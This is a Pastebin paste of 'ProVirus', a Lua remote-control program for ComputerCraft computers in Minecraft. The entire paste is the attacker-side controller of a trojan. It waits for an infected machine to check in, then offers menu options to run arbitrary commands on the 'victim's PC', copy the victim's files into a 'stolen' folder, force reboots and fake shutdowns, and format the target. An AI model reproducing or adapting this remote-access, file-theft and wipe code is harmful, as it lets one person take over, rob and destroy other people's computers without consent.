Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- term.clear()
- term.setCursorPos(1,1)
- rednet.open("left")
- rednet.open("right")
- rednet.open("back")
- rednet.open("top")
- function credits()
- term.clear()
- term.setCursorPos(1,1)
- print("---ProVirus---")
- print("ProVirus Made and coded by ComputerCraftFan11")
- end
- print("---ProVirus---")
- print("1. Check Computers")
- print("2. Credits")
- print("3. Quit")
- while true do
- local e,key = os.pullEvent( "key" )
- if key == 2 then
- break
- elseif key == 3 then
- credits()
- elseif key == 4 then
- os.reboot()
- end
- end
- term.clear()
- term.setCursorPos(1,1)
- print("---ProVirus---")
- print("Waiting for a computer to respond.")
- print("Make sure you intalled the virus correctly.")
- print("Press Ctrl+T to cancel.")
- repeat
- sleep(0)
- id, message = rednet.receive()
- until message == "Hello" ..os.getComputerID()
- rednet.send(id, "Received")
- term.clear()
- term.setCursorPos(1,1)
- print("---ProVirus---")
- print("Computer " ..id.. " has joined!")
- print("Would you like to hack that computer?")
- print("1. Yes")
- print("2. No")
- while true do
- local e,key = os.pullEvent( "key" )
- if key == 2 then
- break
- elseif key == 3 then
- os.reboot()
- end
- end
- function menu()
- term.clear()
- term.setCursorPos(1,1)
- print("---ProVirus---")
- print("Connected to " ..id)
- print("Commands: | Fun: | Other: |")
- print("1.Error |2.FakeOff(5s)|3. |")
- print("4.Clear |5. |6. |")
- print("7.Reboot |8. |9. |")
- print("A.Run |B. |C. |")
- print("D.Copy |E. |F. |")
- print("\nX = Format (USE AT OWN RISK)")
- end
- menu()
- while true do
- local e,key,message = os.pullEvent()
- if e == "key" then
- if key == 2 then
- rednet.send(id, "Spam")
- menu()
- elseif key == 5 then
- rednet.send(id, "Clear")
- menu()
- elseif key == 8 then
- rednet.send(id, "Boot")
- menu()
- elseif key == 3 then
- rednet.send(id, "Off")
- menu()
- elseif key == 30 then
- term.clear()
- term.setCursorPos(1,1)
- print(os.version())
- print("Anything you type here will be ran on your victim's PC")
- write("> ")
- input = read()
- rednet.send(id, input)
- idm, message = rednet.receive(0.1)
- if message == "runfailed" and idm == id then
- print("No such program")
- sleep(0.5)
- end
- menu()
- elseif key == 32 then
- term.clear()
- term.setCursorPos(1,1)
- write("> steal ")
- rednet.send(id, "copy")
- filename = read()
- rednet.send(id, filename)
- idm, message = rednet.receive(0.1)
- if message == "runfailed" and idm == id then
- print("No such program")
- else
- if not fs.exists("stolen") then
- fs.makeDir("stolen")
- end
- file = fs.open("stolen/" ..filename, "w")
- file.write(message)
- file.close()
- print("Saved as stolen/" ..filename.. "!")
- end
- sleep(0.5)
- menu()
- elseif key == 45 then
- term.clear()
- term.setCursorPos(1,1)
- rednet.send(id, "format")
- print("Error: Computer #" ..id.. " no longer exists.")
- sleep(1)
- os.reboot()
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment